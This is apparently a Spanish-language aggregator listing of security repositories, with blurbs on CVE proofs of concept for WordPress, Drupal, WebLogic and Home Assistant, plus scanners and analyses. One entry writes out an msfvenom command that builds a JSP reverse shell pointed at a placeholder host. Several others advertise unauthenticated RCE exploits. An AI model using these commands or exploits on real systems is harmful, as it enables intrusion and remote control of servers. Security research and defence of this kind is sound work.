qubes-core-admin

Qubes core, versión 3 Esta es la rama master del núcleo de Qubes OS. La documentación de la API está disponible: https://dev.qubes-os.org/projects/core-admin/en/latest/...

POC-CVE-2026-60206

CVE-2026-60206 — Bypass de autenticación SAML de Oracle WebLogic CVSS 9.9 — Bypass de autenticación SAML en Oracle WebLogic Server Core. Afectados: 12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0 ⚠️ Solo pruebas de seguridad autorizadas. Instalación root@kitploit: git clone...

CVE-2020-11890

Hecho por HK CVE-2020-11890: Las validaciones de entrada inadecuadas en la clase de la tabla de grupos de usuarios podrían provocar una configuración de ACL rota que conduzca a RCE Enlace...

AgentCyTE

CORE TopoGen Genera topologías de red CORE reproducibles a partir de archivos XML de escenarios mediante una GUI web completa o una interfaz de línea de comandos. Tabla de contenidos Aspectos destacados Capturas de pantalla Inicio rápido Requisitos previos Instalar dependencias Iniciar la interfa...

suhosin

Suhosin Suhosin pronunciado 'su-ho-shin' es un sistema de protección avanzado para instalaciones de PHP. Fue diseñado para proteger servidores y usuarios de fallos conocidos y desconocidos en las aplicaciones PHP y en el núcleo de PHP...

cve-2025-5054

Herramienta de Detección de Vulnerabilidad CVE-2025-5054 Una herramienta en Python para verificar si tu sistema Ubuntu es vulnerable a CVE-2025-5054, una condición de carrera en Apport que permite la divulgación local de información. Esta herramienta realiza una serie de comprobaciones para...

langgrinch-cve-2025-68664-analysis

Análisis de Vulnerabilidad LangGrinch: CVE-2025-68664 Resumen Este repositorio contiene un informe técnico que analiza CVE-2025-68664, también conocido como LangGrinch, una vulnerabilidad de inyección de serialización que afecta a LangChain Core. El informe explica los antecedentes de la...

Wp2Shell

wp2shell Ejecución remota de código sin autenticación en el núcleo de WordPress. CVE-2026-60137 Inyección SQL en WPQuery encadenada con CVE-2026-63030 Confusión de ruta de lotes en la API REST. Solo para fines educativos e investigación de seguridad autorizada. Versiones afectadas WordPress 6.9.0...

Drupal-SA-CORE-2019-003

Drupal-SA-CORE-2019-003 CVE-2019-6340 Drupal SA-CORE-2019-003 CVE-2019-6340 CVE-2019-6340.md https://mp.weixin.qq.com/s/EQD4-K6HgBY9wdzeXeyzkg https://paper.seebug.org/821/ https://www.youtube.com/watch?v=QtLDDN0Duko nombre del enlace https://pbs.twimg.com/media/D0C-KiXX4AM2vR3.jpg:large...

CVE-2026-31024

CVE-2026-31024 Informe de Vulnerabilidad: Desbordamiento de Búfer Basado en Pila y Divulgación de Información en Steghide Campo| Valor ---|--- Aplicación Objetivo| Steghide Binario Linux Versión Afectada| 0.5.1 Confirmado; versiones anteriores probablemente afectadas Tipo de Vulnerabilidad|...

Fast-CVE-2022-22965

Target Machine root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest Reverse shell essentially references msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp After URL encoding the JSP, use root@kitploit: %3C%25 replac...

cve-2026-9082

CVE-2026-9082 Type : SQL Injection CWE-89 Affected Product : Drupal Core Database Abstraction API Drupal Advisory : SA-CORE-2026-004 Published : May 20, 2026 Severity : Highly Critical Drupal 20/25 | NVD CVSS 6.5 What Is It? CVE-2026-9082 is a SQL Injection vulnerability in Drupal's core database...

wp2shell-Hestia-Scanner

🛡️ wp2shell-Hestia-Scanner 🇬🇧 English | 🇬🇷 Ελληνικά Escáner de seguridad de WordPress de solo lectura para servidores HestiaCP. Detecta indicadores de compromiso de wp2shell en todos los sitios alojados — con informes por correo por cliente, diff de archivos del núcleo, detección de webshells por...

CVE-2026-9082

CVE-2026-9082 Unauthenticated SQL injection in Drupal Core on PostgreSQL via POST /user/login, escalated to remote code execution through PostgreSQL sessionpreloadlibraries. Unlike existing public exploits that target JSON:API, this uses the login endpoint — always available, no modules or...

CVE-2026-9082

🚨 CVE-2026-9082 : Vulnerabilidad de Inyección SQL en Drupal Core Vulnerabilidad de Inyección SQL de Alto Impacto en Drupal Core PostgreSQL 📋 Resumen CVE-2026-9082 es una vulnerabilidad de Inyección SQL en la capa de abstracción de base de datos de Drupal Core. Afecta solo a sitios que usan...

p4wned

P4WNED CVE-2026-6043 Herramientas de investigación de seguridad de Perforce Helix Core y plantillas de nuclei. Artículo de investigación: https://morganrobertson.net/p4wned/ Lea el artículo para obtener todos los detalles. Solo para objetivos autorizados. Úselo en sus propios servidores o con...

CVE-2024-30051

Windows DWM Core Library Elevation of Privilege Vulnerability CVE-2024-30051 Published August 15 of 2024 In this blog post, I will explain a vulnerability in the Microsoft Windows DWM Core library that I analyzed when the exploit for Core Impact was being developed. Allows an unprivileged attacke...

CVE-2026-63030

Wordpress Core / SQLi 6.9.0 - 6.9.4 7.0.0 - 7.0.1 El PoC ya está publicado. ¡Fue creado solo con fines educativos/de investigación! ¡Úsalo bajo tu propio riesgo!...

CVE-2026-64824-PoC

CVE-2026-64824 — Home Assistant Core Backup-Restore Symlink Path Traversal → RCE CVSS 8.4 Critical · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59 TL;DR Authenticated admin attacker uploads a crafted backup tar. The restore path extracts the inner homeassistant.tar.gz with filter="fullytrusted" and only...

wordpress-batch-rce-lab

wp2shell: RCE por lotes en WordPress Un análisis técnico de CVE-2026-63030, un fallo lógico en el endpoint de lotes de la API REST de WordPress que permite que una solicitud anónima se envíe bajo la ruta y verificación de permisos de otra solicitud, encadenándose con CVE-2026-60137 inyección SQL...